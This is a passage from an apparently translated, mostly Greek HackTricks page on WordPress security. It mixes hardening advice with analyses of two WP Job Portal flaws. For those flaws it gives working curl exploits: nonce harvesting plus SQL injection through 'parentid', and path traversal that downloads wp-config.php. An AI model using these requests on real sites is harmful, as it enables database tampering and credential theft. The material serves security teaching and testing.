  • Σκεφτείτε να αποθηκεύετε την ελάχιστη δυνατή κατάσταση και να χρησιμοποιείτε χρονικά περιορισμένα, διακριτικά με έλεγχο ικανοτήτων για προσωρινές αλλαγές ρόλου.

WAF considerations for WordPress/plugin CVEs

Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.

Offensive notes

  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercise unauth paths first (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads often succeed without obfuscation.
  • Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
  • Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.

Προστασία WordPress

Τακτικές ενημερώσεις

Βεβαιωθείτε ότι το WordPress, τα plugins και τα themes είναι ενημερωμένα. Επιβεβαιώστε επίσης ότι η αυτοματοποιημένη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Επίσης, εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes.

Πρόσθετα Ασφάλειας

Άλλες Συστάσεις

  • Αφαιρέστε τον προεπιλεγμένο χρήστη admin
  • Χρησιμοποιήστε ισχυρούς κωδικούς και 2FA
  • Περιοδικά ελέγξτε τα δικαιώματα των χρηστών
  • Περιορίστε τις προσπάθειες σύνδεσης για να αποτρέψετε επιθέσεις Brute Force
  • Μετονομάστε το αρχείο wp-admin.php και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.

Μη αυθεντικοποιημένη SQL Injection μέσω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)

Το πρόσθετο πρόσληψης WP Job Portal αποκάλυπτε μια εργασία savecategory που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Προβλήματα που εισάγει αυτό το απόσπασμα:

  1. Μη φιλτραρισμένη είσοδος χρήστηparentid προέρχεται απευθείας από το αίτημα HTTP.
  2. Συνένωση συμβολοσειρών μέσα στην WHERE clause – δεν υπάρχουν is_numeric() / esc_sql() / prepared statement.
  3. Μη-επαληθευμένη προσβασιμότητα – παρόλο που η ενέργεια εκτελείται μέσω του admin-post.php, ο μοναδικός έλεγχος που υπάρχει είναι ένα CSRF nonce (wp_verify_nonce()), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode [wpjobportal_my_resumes].

Εκμετάλλευση

  1. Ανάκτηση νέου nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Εισαγωγή αυθαίρετου SQL εκμεταλλευόμενοι το parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Η απάντηση αποκαλύπτει το αποτέλεσμα του εισαγόμενου ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Μια άλλη λειτουργία, downloadcustomfile, επέτρεπε σε επισκέπτες να κατεβάσουν οποιοδήποτε αρχείο στο δίσκο μέσω path traversal. Το ευάλωτο sink βρίσκεται στο modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name είναι attacker-controlled και συνενώνεται without sanitisation. Ξανά, το μόνο εμπόδιο είναι ένα CSRF nonce που μπορεί να ληφθεί από τη σελίδα resume.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Ο διακομιστής απαντά με τα περιεχόμενα του wp-config.php, leaking DB credentials and auth keys.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks